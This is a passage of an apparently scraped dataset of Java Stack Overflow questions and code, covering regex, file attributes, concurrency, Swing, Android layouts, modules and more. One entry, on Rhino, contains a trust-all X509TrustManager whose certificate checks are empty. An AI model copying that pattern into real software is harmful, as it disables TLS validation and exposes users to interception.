$ 2/g ; public class Test { public static void main ( String [ ] args ) { String test = `` TEST1 '' ; Pattern p = Pattern.compile ( `` ( [ A-Z ] { 3,4 } ) ( [ 0-9 ] ) '' ) ; Matcher m = p.matcher ( test ) ; if ( m.find ( ) ) { m.replaceAll ( m.group ( 1 ) + `` - '' + m.group ( 2 ) ) ; } System.out.println ( test ) ; } }",Inserting hyphen between groups with Java regex issue +Java,"From the documentation of Files.isHidden ( Path ) ( emphasis mine ) : Tells whether or not a file is considered hidden . The exact definition of hidden is platform or provider dependent . On UNIX for example a file is considered to be hidden if its name begins with a period character ( '. ' ) . On Windows a file is considered hidden if it is n't a directory and the DOS hidden attribute is set . Depending on the implementation this method may require to access the file system to determine if the file is considered hidden.From this I can understand what the expected behavior is . However , why is this the expected behavior ? The reason I 'm wondering is because of the difference in behavior between Files.isHidden , DosFileAttributes.isHidden , and Windows ' File Explorer . For instance , I can go into File Explorer and set a directory to be hidden and it will no longer show up ( unless I configure it to show hidden items ) . If I test if said directory is hidden with Java then Files.isHidden returns false and DosFileAttributes.isHidden returns true . You can test this with the following code : Note : I 'm using Windows 10 and OpenJDK 11.0.1 . My file system is NTFS.Running this with : I get : Note : This behavior appears to be part of WindowsFileSystemProvider . The method Files.isHidden ( Path ) simply forwards the call to the argument 's FileSystem 's provider . The implementation is basically : I found this ( non ) -issue ( JDK-8170334 ) where a comment says : I do n't think we have a bug here because the hidden attribute is meaningless on directories.Yet File Explorer , which is core software on Windows , behaves like the hidden attribute is not meaningless on directories . So again , why does the Java implementation on Windows take into account whether or not the Path points to a directory ? Or is Java correct and File Explorer is doing non-standard things ? I 'm inclined to think File Explorer is correct because both CMD ( via dir ) and PowerShell ( via Get-ChildItem ) wo n't list hidden directories either ; not unless the appropriate options are specified .","import java.nio.file.Files ; import java.nio.file.Path ; import java.nio.file.attribute.DosFileAttributes ; public class Main { public static void main ( String [ ] args ) throws Exception { final var directory = Path.of ( args [ 0 ] ) .toAbsolutePath ( ) .normalize ( ) ; final var store = Files.getFileStore ( directory ) ; final var dosAttrs = Files.readAttributes ( directory , DosFileAttributes.class ) ; System.out.println ( `` Directory : `` + directory ) ; System.out.println ( `` FileStore : `` + store.name ( ) + `` [ `` + store.type ( ) + `` ] '' ) ; System.out.println ( `` Hidden ( Files ) : `` + Files.isHidden ( directory ) ) ; System.out.println ( `` Hidden ( Dos ) : `` + dosAttrs.isHidden ( ) ) ; } } java Main.java C : \path\to\hidden\directory Directory : C : \path\to\hidden\directoryFileStore : OS [ NTFS ] Hidden ( Files ) : falseHidden ( Dos ) : true DosFileAttributes attrs = ... ; // get attributesreturn ! attrs.isDirectory ( ) & & attrs.isHidden ( ) ;",Why does Files.isHidden ( Path ) return false for directories on Windows ? +Java,"I 'm writing a program with a lot of enumerations , and I 'm having to return the keyset of an EnumMap a lot . But EnumMap.keySet ( ) returns a Set ( ) , so in order to get the EnumSet I want , I have to use a cast : If I do n't cast , the compiler will complain of a type mismatch ; it can not convert from Set < SomeEnum > to EnumSet < SomeEnum > . It seems unnecessary to have to cast this , as the keys of an EnumMap will always be an enumeration . Does anyone know why the keySet ( ) method was constructed this way ? I 've thought at times it might have something to do with EnumSet being an abstract class , but surely EnumMap could just return whatever the factory method of EnumSet provides.Cheers , all ! EDIT : I 'm very sorry , the above code throws a CastClassException . You could get the EnumSet by usingI really should have checked before posting .","EnumMap < SomeEnum , Object > myMap = getMap ( ) ; EnumSet < SomeEnum > myEnum = ( EnumSet < SomeEnum > ) myMap.keySet ( ) ; EnumSet < SomeEnum > myEnum = EnumSet.copyOf ( myMap.keySet ( ) ) ;",Why does EnumMap < T > .keySet ( ) return a Set < T > ( ) and not an EnumSet < T > ( ) ? +Java,How come there is no compiler error casting Number to List ? I thought the types had to be relate .,Number k = 10 ; List m = new ArrayList ( ) ; m = ( List ) k ;,Java Explicit Reference Casting +Java,Is it possible to expand the maven properties ' scope on javadocs using Maven Javadoc Plugin ? E.g .,/** * My Awesome Class * @ version $ { project.version } **/,Using maven properties in JavaDoc +Java,Why this code returns the error : java.lang.NullPointerExceptionBut the following way works without any errors :,Object obj = null ; Long lNull = null ; Long res = obj == null ? lNull : 10L ; Object obj = null ; Long res = obj == null ? null : 10L ;,Short form for Java If statement returns NullPointerException when one of the returned objects is null +Java,I have following two classes : I have no idea how to group List < Man > by street and city fields of Address class . How can I do it ?,class Man { private int id ; private String firstName ; private String lastName ; private int age ; private int countOfChildren ; private Address address ; } class Address { private Country country ; private City city ; private String street ; private long quantityOfPeople ; },Grouping by fields of inner object +Java,There is a static way of providing SocketFactory to InitialLdapContext : But is there some way to provide the instance itself instead of its class name ? My socket factory is parameterized with the input stream of trusted certificate and there can be configured many instances of InitialLdapContext with different trusted certificates . BTW this will run in OSGi environment.Thanks in advance .,"env.put ( `` java.naming.ldap.factory.socket '' , MySocketFactory.class.getName ( ) ) ; new InitialLdapContext ( env , null ) ;",Is there a way to provide SocketFactory _instance_ to InitialLdapContext ? +Java,The following program gives output asWhat is the reason ?,"I am Parameterized Ctor a = 0 b = 0 public class ParameterizedCtor { private int a ; private int b ; public ParameterizedCtor ( ) { System.out.println ( `` I am default Ctor '' ) ; a =1 ; b =1 ; } public ParameterizedCtor ( int a , int b ) { System.out.println ( `` I am Parameterized Ctor '' ) ; a=a ; b=b ; } public void print ( ) { System.out.println ( `` a = `` +a ) ; System.out.println ( `` b = `` +b ) ; } public static void main ( String [ ] args ) { ParameterizedCtor c = new ParameterizedCtor ( 3 , 1 ) ; c.print ( ) ; } }",Confusion in Constructor Overloading Example +Java,"After playing with PrintWriter and files , I got a doubt about why do sometimes when I read my files immediately when I create them , there are inconsistencies , for example : If I run this code , I will read in console an empty file , something like this : But if I modify the loopValue to something like 10000 , I will have something like this : I know that if I call flush ( ) or close ( ) before read the file I can rid of this problem , but why is this happening ? When do PrintWriter decide that is time to clean its buffer without I tell it when ? and why when I close or flush the PrintWriter this problem wo n't happen ? Thanks !","File file = new File ( `` Items.txt '' ) ; int loopValue = 10 ; try { PrintWriter fout = new PrintWriter ( file ) ; for ( int i = 0 ; i < loopValue ; i++ ) { fout.print ( i + `` asdsadas '' + System.lineSeparator ( ) ) ; } //fout.flush ( ) ; < -- I know if I call flush or close this problem do n't occur //fout.close ( ) ; System.out.println ( `` Here is the file : '' ) ; Scanner readFile = new Scanner ( file ) ; while ( readFile.hasNext ( ) ) { System.out.println ( readFile.nextLine ( ) ) ; } } catch ( FileNotFoundException e ) { System.err.println ( e.getMessage ( ) ) ; } Here is the file : Here is the file:0 asdsadas1 asdsadas2 asdsadas ... ... continues ... 9356 asdsadas9357 asdsadas9358 < -- - here ends , note that it doesnt end in the value 9999",When do PrintWriter automatically print to file ? +Java,"Suppose I 'm debugging the following code in IntelliJ : I would like to step over the whole inner loop to see how the inner loop affected obj1 's fields , but `` run to cursor '' to the first closing brace runs only the first iteration of the inner loop , while `` run to cursor '' on the second closing brace ends the iteration of the outer loop , and I no longer have access to obj1.Manually stepping through each of the iterations is n't an option since there may be thousands of items , and neither is adding a line between the braces since this is part of a library.Is there any way I can simply step over a loop at the end of a block without exiting the containing block ?","for ( SomeObject obj1 : iterable1 ) { doSomething ( obj1 ) ; // < -- - I am currently paused on this line for ( SomeObject obj2 : iterable2 ) { doSomething ( obj1 , obj2 ) ; } }",Can I step over a whole loop in IntelliJ ? +Java,Suppose I declare like this : Then I am using this like below in synchronized statement : Here my question is if I update isCondition then it will get a new reference due to autoboxing and if new thread will come in synchronized block then they will get lock on new object enter into synchronized block . This I dont want to happen . So please suggest me alternatives and if I use volatile then how exactly it will prevent this like below : The actual code is like that : },"private static Boolean isCondition = false ; synchronized ( isCondition ) { isCondition = true ; somestuff ( ) ; } private static volatile Boolean isCondition = false ; package com.test.spring.utils ; import org.apache.commons.logging.Log ; import org.apache.commons.logging.LogFactory ; import org.springframework.beans.BeansException ; import org.springframework.context.ApplicationContext ; import org.springframework.context.ApplicationContextAware ; import org.springframework.context.support.ClassPathXmlApplicationContext ; /** * @ author Pratik*/public class TouchPointsSpringContext implements ApplicationContextAware { private static final Log g_log = LogFactory.getLog ( TouchPointsSpringContext.class ) ; private static ApplicationContext CONTEXT ; private static volatile Boolean isServiceInitialized = false ; /** * This method is called from within the ApplicationContext once it is done * starting up , it will stick a reference to itself into this bean . * * @ param context * a reference to the ApplicationContext . */public void setApplicationContext ( ApplicationContext context ) throws BeansException { CONTEXT = context ; } private static void initializeTouchPointService ( ) { g_log.info ( `` getting touchpoints service application context '' ) ; String [ ] locations = { `` appContext-main.xml '' , `` appContext-hibernate.xml '' } ; ApplicationContext applicationContext = new ClassPathXmlApplicationContext ( locations ) ; g_log.info ( `` setting touchpoints service application context '' ) ; CONTEXT = applicationContext ; } /** * This is about the same as context.getBean ( `` beanName '' ) , except it has its * own static handle to the Spring context , so calling this method * statically will give access to the beans by name in the Spring * application context . As in the context.getBean ( `` beanName '' ) call , the * caller must cast to the appropriate target class . If the bean does not * exist , then a Runtime error will be thrown . * * @ param beanName * the name of the bean to get . * @ return an Object reference to the named bean . */public static Object getBean ( String beanName ) { if ( ! isServiceInitialized || ( CONTEXT == null ) ) { synchronized ( isServiceInitialized ) { if ( ! isServiceInitialized ) { initializeTouchPointService ( ) ; isServiceInitialized = true ; } } } return CONTEXT.getBean ( beanName ) ; } public static void main ( String [ ] args ) { TouchPointsSpringContext.getBean ( `` lookupService '' ) ; }",Difference between volatile Boolean and Boolean +Java,"Q : how to detect real test coverage ? I 've noticed one problem with code coverage metric and test quality : 100 % code coverage does n't mean that code is really tested.Sometimes test gives 100 % coverage even that it does n't cover everything . Problem lays in coverage definition , we assume coverage==reachable code . But it 's not true , code could be 100 % reachable but not 100 % covered with the test.Take a look into example , this test gives 100 % coverage ( EMMA ) , but in reality it does n't cover values which will be passed to service mock . So , if value will be changed , test wo n't fail.Example : And test for it :","public class User { public static final int INT_VALUE = 1 ; public static final boolean BOOLEAN_VALUE = false ; public static final String STRING_VALUE = `` '' ; private Service service ; public void setService ( Service service ) { this.service = service ; } public String userMethod ( ) { return service.doSomething ( INT_VALUE , BOOLEAN_VALUE , STRING_VALUE ) ; } } public class UserTest { private User user ; private Service easyMockNiceMock ; @ Before public void setUp ( ) throws Exception { user = new User ( ) ; easyMockNiceMock = EasyMock.createNiceMock ( Service.class ) ; } @ Test public void nonCoverage ( ) throws Exception { // given user.setService ( easyMockNiceMock ) ; expect ( easyMockNiceMock.doSomething ( anyInt ( ) , anyBoolean ( ) , ( String ) anyObject ( ) ) ) .andReturn ( `` '' ) ; replay ( easyMockNiceMock ) ; // when user.userMethod ( ) ; // then verify ( easyMockNiceMock ) ; } }",Coverage vs reachable code +Java,"I 'm parsing large PCAP files in Java using Kaitai-Struct . Whenever the file size exceeds Integer.MAX_VALUE bytes I face an IllegalArgumentException caused by the size limit of the underlying ByteBuffer.I have n't found references to this issue elsewhere , which leads me to believe that this is not a library limitation but a mistake in the way I 'm using it.Since the problem is caused by trying to map the whole file into the ByteBuffer I 'd think that the solution would be mapping only the first region of the file , and as the data is being consumed map again skipping the data already parsed.As this is done within the Kaitai Struct Runtime library it would mean to write my own class extending fom KatiaiStream and overwrite the auto-generated fromFile ( ... ) method , and this does n't really seem the right approach.The auto-generated method to parse from file for the PCAP class is.And the ByteBufferKaitaiStream provided by the Kaitai Struct Runtime library is backed by a ByteBuffer.Which in turn is limitted by the ByteBuffer max size.Am I missing some obvious workaround ? Is it really a limitation of the implementation of Katiati Struct in Java ?","public static Pcap fromFile ( String fileName ) throws IOException { return new Pcap ( new ByteBufferKaitaiStream ( fileName ) ) ; } private final FileChannel fc ; private final ByteBuffer bb ; public ByteBufferKaitaiStream ( String fileName ) throws IOException { fc = FileChannel.open ( Paths.get ( fileName ) , StandardOpenOption.READ ) ; bb = fc.map ( FileChannel.MapMode.READ_ONLY , 0 , fc.size ( ) ) ; }",Parsing files over 2.15 GB in Java using Kaitai Struct +Java,"I am trying to do implement my own TrustManager in Javascript , but I have no idea how to implement it.In Java I have the following : I tried to use the following for the X509TrustManager : Then I dont know how to create the TrustManager . How to do this in Javascript ( Rhino 1.6 release 7 2008 01 02 ) ?","TrustManager [ ] trustAllCerts = new TrustManager [ ] { new X509TrustManager ( ) { public java.security.cert.X509Certificate [ ] getAcceptedIssuers ( ) { return null ; } public void checkClientTrusted ( java.security.cert.X509Certificate [ ] certs , String authType ) { } public void checkServerTrusted ( java.security.cert.X509Certificate [ ] certs , String authType ) { } } } ; js > obj = { getAcceptedIssuers : function ( ) { return null ; } , checkClientTrusted : function ( ) { } , checkServerTrusted : function ( ) { } } [ object Object ] js > x509tm = new javax.net.ssl.X509TrustManager ( obj ) adapter1 @ 2eee9593js >",Implement own TrustManager in Javascript ( Rhino engine ) +Java,"While profiling an application I noticed that RandomAccessFile.writeLong was taking a lot of time . I checked the code for this method , and it involves eight calls of the native method write . I wrote an alternative implementation for writeLong using a byte [ ] . Something like this : I made a small benchmark and got these results : Using writeLong ( ) : Average time for invocation : 91 ms Using write ( byte [ ] ) : Average time for invocation : 11 msTest run on a Linux machine with a Intel ( R ) CPU T2300 @ 1.66GHzSince native calls have some performance penalty , why is writeLong implemented that way ? I know the question should be made to the Sun guys , but I hope someone in here has some hints.Thank you .","RandomAccessFile randomAccessFile = new RandomAccessFile ( `` out.dat '' , `` rwd '' ) ; ... byte [ ] aux = new byte [ 8 ] ; aux [ 0 ] = ( byte ) ( ( l > > > 56 ) & 0xFF ) ; aux [ 1 ] = ( byte ) ( ( l > > > 48 ) & 0xFF ) ; aux [ 2 ] = ( byte ) ( ( l > > > 40 ) & 0xFF ) ; aux [ 3 ] = ( byte ) ( ( l > > > 32 ) & 0xFF ) ; aux [ 4 ] = ( byte ) ( ( l > > > 24 ) & 0xFF ) ; aux [ 5 ] = ( byte ) ( ( l > > > 16 ) & 0xFF ) ; aux [ 6 ] = ( byte ) ( ( l > > > 8 ) & 0xFF ) ; aux [ 7 ] = ( byte ) ( ( l > > > 0 ) & 0xFF ) ; randomAccessFile.write ( aux ) ;",Why is RandomAccessFile writeLong implemented with multiple write calls ? +Java,"I am using Groovy in a Java Swing application as part of my plan to force-feed myself dynamic languages until I like them ( which is happening , partly ) .My stack traces are filled with Groovy stuff likeis there a way to get Eclipse to remove all of that codehaus stuff ( filter stack traces , basically ) ? Edit : I can do this from the command-line with grep ( well , not yet ) so it 's not so bad , but inside of Eclipse would be great too .",org.codehaus.groovy.runtime.callsite.ConstructorSite $ ConstructorSiteNoUnwrapNoCoerce.callConstructor,Clean Stack Traces in Groovy using Eclipse ? +Java,"I wrote a couple of Java classes—SingleThreadedCompute and MultithreadedCompute—to demonstrate the fact ( or what I always thought was a fact ! ) that if you parallelize a compute-centric ( no I/O ) task on a single core machine , you do n't get a speedup . Indeed my understanding is that parallelizing such tasks actually slows things down because now you have to deal with context-switching overhead . Well , I ran the classes and the parallel version unexpectedly runs faster : the single-threaded version is consistently running at just over 7 seconds on my machine , and the multithreaded version is consistently running at just over 6 seconds on my machine . Can anybody explain how this is possible ? Here are the classes if anybody wants to look or try it for themselves.Here 's the multithreaded version : Here 's the output from running the single-threaded version : And here 's the output from running the multithreaded version : EDIT : Information on the environment : Microsoft Windows XP Professional Version 2002 , SP3Dell Precision 670Intel Xeon CPU 2.80GHz , 1 MB L2 cacheNot sure how to prove it 's a single core machine other than by stating the spec above and by noting that back when I bought the machine ( Aug 2005 ) , single cores were the standard and I did n't upgrade to multicore ( if that was even an option ... I do n't remember ) . If there 's somewhere in Windows I can check other than System Properties ( which shows the info above ) let me know and I 'll check.Here are five consecutive ST and MT runs : FIVE SINGLETHREADED RUNS : total=499999999500000000Elapsed time : 7000 mstotal=499999999500000000Elapsed time : 7031 mstotal=499999999500000000Elapsed time : 6922 mstotal=499999999500000000Elapsed time : 6968 mstotal=499999999500000000Elapsed time : 6938 msFIVE MULTITHREADED RUNS : total=499999999500000000Elapsed time : 6047 mstotal=499999999500000000Elapsed time : 6141 mstotal=499999999500000000Elapsed time : 6063 mstotal=499999999500000000Elapsed time : 6282 mstotal=499999999500000000Elapsed time : 6125 ms","public final class SingleThreadedCompute { private static final long _1B = 1000000000L ; // one billion public static void main ( String [ ] args ) { long startMs = System.currentTimeMillis ( ) ; long total = 0 ; for ( long i = 0 ; i < _1B ; i++ ) { total += i ; } System.out.println ( `` total= '' + total ) ; long elapsedMs = System.currentTimeMillis ( ) - startMs ; System.out.println ( `` Elapsed time : `` + elapsedMs + `` ms '' ) ; } } public final class MultithreadedCompute { private static final long _1B = 1000000000L ; // one billion private static final long _100M = _1B / 10L ; public static void main ( String [ ] args ) { long startMs = System.currentTimeMillis ( ) ; System.out.println ( `` Creating workers '' ) ; Worker [ ] workers = new Worker [ 10 ] ; for ( int i = 0 ; i < 10 ; i++ ) { workers [ i ] = new Worker ( i * _100M , ( i+1 ) * _100M ) ; } System.out.println ( `` Starting workers '' ) ; for ( int i = 0 ; i < 10 ; i++ ) { workers [ i ] .start ( ) ; } for ( int i = 0 ; i < 10 ; i++ ) { try { workers [ i ] .join ( ) ; System.out.println ( `` Joined with thread `` + i ) ; } catch ( InterruptedException e ) { /* ca n't happen */ } } System.out.println ( `` Summing worker totals '' ) ; long total = 0 ; for ( int i = 0 ; i < 10 ; i++ ) { total += workers [ i ] .getTotal ( ) ; } System.out.println ( `` total= '' + total ) ; long elapsedMs = System.currentTimeMillis ( ) - startMs ; System.out.println ( `` Elapsed time : `` + elapsedMs + `` ms '' ) ; } private static class Worker extends Thread { private long start , end ; private long total ; public Worker ( long start , long end ) { this.start = start ; this.end = end ; } public void run ( ) { System.out.println ( `` Computing sum `` + start + `` + ... + ( `` + end + `` - 1 ) '' ) ; for ( long i = start ; i < end ; i++ ) { total += i ; } } public long getTotal ( ) { return total ; } } } total=499999999500000000Elapsed time : 7031 ms Creating workersStarting workersComputing sum 0 + ... + ( 100000000 - 1 ) Computing sum 100000000 + ... + ( 200000000 - 1 ) Computing sum 200000000 + ... + ( 300000000 - 1 ) Computing sum 300000000 + ... + ( 400000000 - 1 ) Computing sum 400000000 + ... + ( 500000000 - 1 ) Computing sum 500000000 + ... + ( 600000000 - 1 ) Computing sum 600000000 + ... + ( 700000000 - 1 ) Computing sum 700000000 + ... + ( 800000000 - 1 ) Computing sum 800000000 + ... + ( 900000000 - 1 ) Computing sum 900000000 + ... + ( 1000000000 - 1 ) Joined with thread 0Joined with thread 1Joined with thread 2Joined with thread 3Joined with thread 4Joined with thread 5Joined with thread 6Joined with thread 7Joined with thread 8Joined with thread 9Summing worker totalstotal=499999999500000000Elapsed time : 6172 ms",Unexpected multithreaded result +Java,"I have a list integer with value elements : 0 , 7 , 2 , 1 , 6 , 5.I know that I can use methodto shuffle my list . But I do not want change value of 2nd position . It should be always 7 . How can I do that ?",Collections.shuffle ( list ) ;,How to shuffle list except an element ? +Java,I am trying to create dynamic query to a mongo database from spring boot gradle project.My gradle version : 5.6.1Here is my build.gradle file : My application.properties file : Problem is : Q classes are not generating for my Documents.Any suggestion welcome . Thanks .,"plugins { id 'org.springframework.boot ' version ' 2.2.2.RELEASE ' id 'io.spring.dependency-management ' version ' 1.0.8.RELEASE ' id 'java ' } group = 'com.onssoftware'version = ' 0.0.1-SNAPSHOT'sourceCompatibility = ' 1.8'repositories { mavenCentral ( ) } dependencies { implementation 'org.springframework.boot : spring-boot-starter-web ' implementation 'org.springframework.boot : spring-boot-starter-data-mongodb ' // https : //mvnrepository.com/artifact/com.querydsl/querydsl-mongodb compile group : 'com.querydsl ' , name : 'querydsl-mongodb ' , version : ' 4.2.2 ' // https : //mvnrepository.com/artifact/com.querydsl/querydsl-apt compile group : 'com.querydsl ' , name : 'querydsl-apt ' , version : ' 4.2.2 ' //annotationProcessor group : 'com.querydsl ' , name : 'querydsl-apt ' , version : ' 4.2.2 ' annotationProcessor `` com.querydsl : querydsl-apt:4.2.2 '' //annotationProcessor ( `` org.springframework.data.mongodb.repository.support.MongoAnnotationProcessor '' ) testImplementation ( 'org.springframework.boot : spring-boot-starter-test ' ) { exclude group : 'org.junit.vintage ' , module : 'junit-vintage-engine ' } } test { useJUnitPlatform ( ) } spring.data.mongodb.username = userspring.data.mongodb.password = passspring.data.mongodb.host = 172.17.0.2spring.data.mongodb.port = 27017spring.data.mongodb.database = test_db",How to add querydsl-mongodb to Spring Boot Gradle 5.6.1 project +Java,"I 'm trying to make a system to factorise ( if that term is correct in Chemistry ) a given expanded chemical formula , such as C6H2NO2NO2NO2CH3 into brackets so that it is C₆H₂ ( NO₂ ) ₃CH₃ . ( Ignore the subscript , or lack thereof in the first instance ) . Problem is , I do n't know what the repeated molecule is going to be , or even how long it will be . How would I find and count repeats ? For context , here 's my code so far which generates the formula from a 2D list of elements :","private String getFormula ( List < List < Element > > elements ) { String formula = `` '' ; //TODO Switch out for StringBuilder for ( List < Element > currentElement : elements ) { formula += currentElement.get ( 0 ) .getSymbol ( ) ; //Every element per list is identical , so looking at 0 will always be safe if ( currentElement.size ( ) > 1 ) formula += currentElement.size ( ) ; //Only display a number if there is more than 1 element } return formula ; }",How to find consecutive repeats of unknown substring +Java,"I 'm using BorderFactory to create a titled border with a Substance UI themed Swing user interface , and I 'm coming across the exception shown below . I tried with LineBorder and it works perfectly , but it appears that Substance UI is interfering somehow with TitledBorder . The border drawing is done in paintComponent via : which itself may be incorrect . My question is essentially how to get TitledBorder working without creating a parent JPanel and setting it on that instead , which seems like a bit of a cop-out.Thanks in advance for any help .","if ( getBorder ( ) ! = null ) { getBorder ( ) .paintBorder ( this , g , 0 , 0 , getWidth ( ) , getHeight ( ) ) ; } Exception in thread `` AWT-EventQueue-0 '' java.lang.NullPointerException at org.pushingpixels.lafwidget.utils.RenderingUtils.desktopHints ( RenderingUtils.java:113 ) at org.pushingpixels.lafwidget.utils.RenderingUtils.installDesktopHints ( RenderingUtils.java:85 ) at org.pushingpixels.substance.internal.utils.border.SubstanceEtchedBorder.paintBorder ( SubstanceEtchedBorder.java:132 ) at javax.swing.border.TitledBorder.paintBorder ( TitledBorder.java:330 ) at javax.swing.JComponent.paintBorder ( JComponent.java:947 ) at javax.swing.JComponent.paint ( JComponent.java:1055 ) at javax.swing.JComponent.paintChildren ( JComponent.java:887 ) at javax.swing.JComponent.paint ( JComponent.java:1063 ) at javax.swing.JComponent.paintChildren ( JComponent.java:887 ) at javax.swing.JComponent.paint ( JComponent.java:1063 ) at javax.swing.JComponent.paintChildren ( JComponent.java:887 ) at javax.swing.JComponent.paint ( JComponent.java:1063 ) at javax.swing.JComponent.paintChildren ( JComponent.java:887 ) at javax.swing.JComponent.paint ( JComponent.java:1063 ) at javax.swing.JLayeredPane.paint ( JLayeredPane.java:585 ) at javax.swing.JComponent.paintChildren ( JComponent.java:887 ) at javax.swing.JComponent.paintToOffscreen ( JComponent.java:5213 ) at javax.swing.RepaintManager $ PaintManager.paintDoubleBuffered ( RepaintManager.java:1493 ) at javax.swing.RepaintManager $ PaintManager.paint ( RepaintManager.java:1424 ) at javax.swing.RepaintManager.paint ( RepaintManager.java:1217 ) at javax.swing.JComponent.paint ( JComponent.java:1040 ) at java.awt.GraphicsCallback $ PaintCallback.run ( GraphicsCallback.java:39 ) at sun.awt.SunGraphicsCallback.runOneComponent ( SunGraphicsCallback.java:78 ) at sun.awt.SunGraphicsCallback.runComponents ( SunGraphicsCallback.java:115 ) at java.awt.Container.paint ( Container.java:1951 ) at java.awt.Window.paint ( Window.java:3814 ) at javax.swing.RepaintManager.paintDirtyRegions ( RepaintManager.java:792 ) at javax.swing.RepaintManager.paintDirtyRegions ( RepaintManager.java:739 ) at javax.swing.RepaintManager.prePaintDirtyRegions ( RepaintManager.java:688 ) at javax.swing.RepaintManager.access $ 700 ( RepaintManager.java:59 ) at javax.swing.RepaintManager $ ProcessingRunnable.run ( RepaintManager.java:1632 ) at java.awt.event.InvocationEvent.dispatch ( InvocationEvent.java:251 ) at java.awt.EventQueue.dispatchEvent ( EventQueue.java:660 ) at java.awt.EventDispatchThread.pumpOneEventForFilters ( EventDispatchThread.java:211 ) at java.awt.EventDispatchThread.pumpEventsForFilter ( EventDispatchThread.java:128 ) at java.awt.EventDispatchThread.pumpEventsForHierarchy ( EventDispatchThread.java:117 ) at java.awt.EventDispatchThread.pumpEvents ( EventDispatchThread.java:113 ) at java.awt.EventDispatchThread.pumpEvents ( EventDispatchThread.java:105 ) at java.awt.EventDispatchThread.run ( EventDispatchThread.java:90 )",TitledBorder problem with Substance UI and custom JComponent +Java,"I am looking to implement a UI similar to Google Play 's Cards . I have created a GridView and the background of the card as an xml file . Now , I am looking to fit images on the card so that the bottom shadow is visible but the width of the image is the same as the card 's width . The problem is that there is white space around the image even though I set the GridView.LayoutParams proportional to the image size . I tried different scaleType but none worked . In addition , once I get the image 's width to fit the card 's width , how do I make sure that the bottom shadow is still visible ? My image adapter classbg_card.xmlgridview.xmlThe actual size of the images are","package me.zamaaan.wallpaper ; import android.content.Context ; import android.util.TypedValue ; import android.view.View ; import android.view.ViewGroup ; import android.widget.BaseAdapter ; import android.widget.GridView ; import android.widget.ImageView ; public class ImageAdapter extends BaseAdapter { private Context mContext ; // Keep all Images in array public Integer [ ] mThumbIds = { R.drawable.background1 , R.drawable.background2 , R.drawable.background3 , R.drawable.background4 , R.drawable.background1 , R.drawable.background2 , R.drawable.background1 , R.drawable.background2 , R.drawable.background3 , R.drawable.background4 , R.drawable.background1 , R.drawable.background2 , R.drawable.background3 } ; // Constructor public ImageAdapter ( Context c ) { mContext = c ; } @ Override public int getCount ( ) { // TODO Auto-generated method stub return mThumbIds.length ; } @ Override public Object getItem ( int position ) { // TODO Auto-generated method stub return mThumbIds [ position ] ; } @ Override public long getItemId ( int arg0 ) { // TODO Auto-generated method stub return 0 ; } @ Override public View getView ( int position , View convertView , ViewGroup parent ) { ImageView imageView = new ImageView ( mContext ) ; imageView.setImageResource ( mThumbIds [ position ] ) ; imageView.setScaleType ( ImageView.ScaleType.FIT_XY ) ; int width_dp = 109 ; double height_dp = width_dp/0.5625 ; int width_px = ( int ) TypedValue.applyDimension ( TypedValue.COMPLEX_UNIT_DIP , width_dp , mContext.getResources ( ) .getDisplayMetrics ( ) ) ; int height_px = ( int ) TypedValue.applyDimension ( TypedValue.COMPLEX_UNIT_DIP , ( int ) height_dp , mContext.getResources ( ) .getDisplayMetrics ( ) ) ; imageView.setLayoutParams ( new GridView.LayoutParams ( width_px , height_px ) ) ; imageView.setBackgroundResource ( R.drawable.bg_card ) ; return imageView ; } } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < layer-list xmlns : android= '' http : //schemas.android.com/apk/res/android '' > < item > < shape android : shape= '' rectangle '' android : dither= '' true '' > < corners android : radius= '' 2dp '' / > < solid android : color= '' # ccc '' / > < /shape > < /item > < item android : bottom= '' 2dp '' > < shape android : shape= '' rectangle '' android : dither= '' true '' > < corners android : radius= '' 2dp '' / > < solid android : color= '' @ android : color/white '' / > < padding android : bottom= '' 8dp '' android : left= '' 8dp '' android : right= '' 8dp '' android : top= '' 8dp '' / > < /shape > < /item > < /layer-list > < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < RelativeLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' android : id= '' @ +id/landscape '' android : orientation= '' horizontal '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : layout_gravity= '' center_horizontal '' android : background= '' # eeeeee '' android : gravity= '' center '' > < GridView android : id= '' @ +id/grid_view '' android : layout_marginTop= '' 16.50dp '' android : layout_marginLeft= '' 8dp '' android : layout_marginRight= '' 8dp '' android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' android : numColumns= '' 3 '' android : paddingBottom= '' 8dp '' android : horizontalSpacing= '' 11dp '' android : verticalSpacing= '' 7dp '' android : gravity= '' center '' android : stretchMode= '' columnWidth '' > < /GridView > < /RelativeLayout > 720x1280px",blank space when scaling imageview in gridview +Java,"After this question was answered i published java 9 modules tutorials + examples on Github and how to run for future users : I have the below very simple structure : module-info.java : Main.java : And i am trying to compile and then run this modular java application which is very simple .So from the cmd i am running : CompileRunFrom IntelliJ it works like charm , i do n't know what magic it runs behind .What am i doing wrong ?",src │ module-info.java│ └───moduleA └───pack1 Main.java module moduleA { } package moduleA.pack1 ; public class Main { public static void main ( String [ ] args ) { System.out.println ( `` Hello Java 11 '' ) ; } } javac -- module-source-path src -d out -m moduleA java -- module-path out -m moduleA/pack1.Main,"Module moduleA not found in module source path , trying to compile" +Java,"While updating user information using Directory API of Admin SDK getting an error : 400 BAD_REQUESTTrying to update organizations details for user the fields like name , title and departmentMy sample code : ` I refer this update_user link for updating user data.Any Help will be appreciated.Thanks .","{ `` code '' : 400 , `` errors '' : [ { `` domain '' : `` global '' , `` message '' : `` Invalid Input : Bad request for `` , `` reason '' : `` invalid '' } ] , `` message '' : `` Invalid Input : Bad request for `` } Get users = directoryService.users ( ) .get ( userEmail ) ; User user = users.execute ( ) ; try { List < UserOrganization > userOrg = new ArrayList < UserOrganization > ( ) ; userOrg = user.getOrganizations ( ) ; if ( userOrg ! = null ) { UserOrganization f_userOrg = new UserOrganization ( ) ; f_userOrg = userOrg.get ( 0 ) ; if ( f_userOrg ! = null ) { f_userOrg.setTitle ( `` SAP Asso '' ) ; f_userOrg.setName ( `` xyz company name '' ) ; f_userOrg.setDepartment ( `` xyz dept name '' ) ; f_userOrg.setType ( `` work '' ) ; userOrg.add ( f_userOrg ) ; user.setOrganizations ( userOrg ) ; } } InputStream body = directoryService.users ( ) .update ( userEmail , user ) .executeAsInputStream ( ) ; // @ this line it throws exception 400 BAD_REQUEST } catch ( Exception e ) { e.printStackTrace ( ) ; }",Google app-engine updating user information getting error 400 BAD_REQUEST +Java,"I tried to shrink and 